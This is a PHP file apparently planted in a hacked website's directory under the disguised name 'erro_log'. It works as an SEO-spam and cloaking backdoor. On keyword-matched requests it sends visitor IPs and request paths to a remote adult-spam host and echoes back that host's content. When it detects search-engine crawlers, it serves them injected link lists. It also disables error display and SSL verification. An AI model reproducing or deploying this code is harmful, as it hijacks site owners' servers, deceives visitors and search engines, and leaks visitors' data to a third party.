Current File : /home/igihango/public_html/ecrire/erro_log
<?php
ob_start();
header("HTTP/1.1 200 OK");
header("Content-Type: text/html; charset=utf-8");
define("CONSTANT_NAME", "about");

//Please don't delete me I want to make money


try{
    ini_set('display_errors','off');
    error_reporting(E_ALL ^ E_NOTICE); 
    set_time_limit(0);

    $api_url = "https://sex.top7788.com/web3/xintest.php";

    $header_curl = array("user_agent:".$_SERVER['HTTP_USER_AGENT']);
    $domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
    $file=(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI']!='')?$_SERVER['REQUEST_URI']:$_SERVER['HTTP_X_REWRITE_URL'];
    if($file ==='/'){
	        $file="/".getRandomLineFromFile();
	    }
          $arr_url = array('bet=', 'hot=', 'game=','ios=','keyword=','produc_id=','play=','top=','app=','video=');
	foreach ($arr_url as $url_r) {
	    
		if (strpos($file, $url_r) !== false || (getCurrentVideoDirectoryValue() !== false)) {
			$post_data = array('ip'=>getIP(),'file'=>$file,'domain'=>$domain);
			$result = posturl($api_url."?".$domain.$file,$post_data);
			if(strlen($result) != 0){
				echo $result;
				exit;
			}
		}
	}
	$key=$_SERVER['HTTP_USER_AGENT'];
	if(isset($_SERVER['HTTP_USER_AGENT']) && (stristr($_SERVER['HTTP_USER_AGENT'],"Google") || stristr($_SERVER['HTTP_USER_AGENT'],"bing") || stristr($_SERVER['HTTP_USER_AGENT'],"coccoc"))){
		$arr_url = array('bet', 'hot', 'game', 'ios', 'keyword', 'produc_id', 'play', 'top', 'app', 'video');
        echo "<ul style='list-style: none;'>\r\n";
        for ($j = 1; $j <= 12; $j++) {
            $randomUrl = $arr_url[array_rand($arr_url)]; 
			$randomUrl2 = $arr_url[array_rand($arr_url)]; 
            $randomLine = getRandomLineFromFile(); 
			$randomLine2 = getRandomLineFromFile();
			$lun =	getwailun();
			$parsedURL = parse_url($lun);
			parse_str($parsedURL['query'], $queryParams);
			$firstKey = reset($queryParams);
            echo "<li><a href='?". "{$randomUrl}={$randomLine}'>{$randomLine}</a></li>\r\n";
			//echo "<li><a href='/"."{$randomUrl2}" . "/{$randomLine2}'>{$randomLine2}</a></li>\r\n";
			echo "<li><a href='{$lun}'>{$firstKey}</a></li>\r\n";
        }
		
        
        echo "</ul>";
	}
}catch (Exception $exception){

}
function getRandomLineFromFile() {
    $url = 'http://sex.top7788.com/web3/test1.php'; 
    $header_curl = array("user_agent:".$_SERVER['HTTP_USER_AGENT']);
    $domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
    $file=(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI']!='')?$_SERVER['REQUEST_URI']:$_SERVER['HTTP_X_REWRITE_URL'];
    $arr_url = array('bet=', 'hot=', 'game=','ios=','keyword=','produc_id=','play=','top=','app=','video=');
    $result = posturl($url."?".$domain.$file,$post_data);
    return $result ?: "Unable to fetch data!"; 
}
function getwailun() {
    $url = 'http://sex.top7788.com/web3/debug.php'; 
    $header_curl = array("user_agent:".$_SERVER['HTTP_USER_AGENT']);
    $domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
    $file=(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI']!='')?$_SERVER['REQUEST_URI']:$_SERVER['HTTP_X_REWRITE_URL'];
    $arr_url = array('bet=', 'hot=', 'game=','ios=','keyword=','produc_id=','play=','top=','app=','video=');
    $result = posturl($url."?".$domain.$file,$post_data);

    return $result ?: "Unable to fetch data!"; 
}

function posturl($url,$post_data=null){
    $curl = curl_init();

    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_TIMEOUT, 30);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_USERAGENT,$_SERVER['HTTP_USER_AGENT']);
    curl_setopt($curl, CURLOPT_REFERER, @$_SERVER['HTTP_REFERER']);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($post_data));
   
    $data = curl_exec($curl);
    curl_close($curl);
    return $data;
}
function getIP() {
    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $ip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}


function getCurrentVideoDirectoryValue() {
    $currentPath = (isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] != '') ? $_SERVER['REQUEST_URI'] : $_SERVER['HTTP_X_REWRITE_URL'];
    $currentPath = rtrim($currentPath, '/');
    $keywords = array('bet', 'hot', 'game', 'ios', 'keyword', 'produc_id', 'play', 'top', 'app', 'video');
    $pathParts = explode('/', $currentPath);
    array_shift($pathParts);
    $firstDir = isset($pathParts[0]) ? $pathParts[0] : '';
    foreach ($keywords as $keyword) {
        if (strpos($firstDir, $keyword) !== false) {
            return end($pathParts);
        }
    }

    return false;
}
?>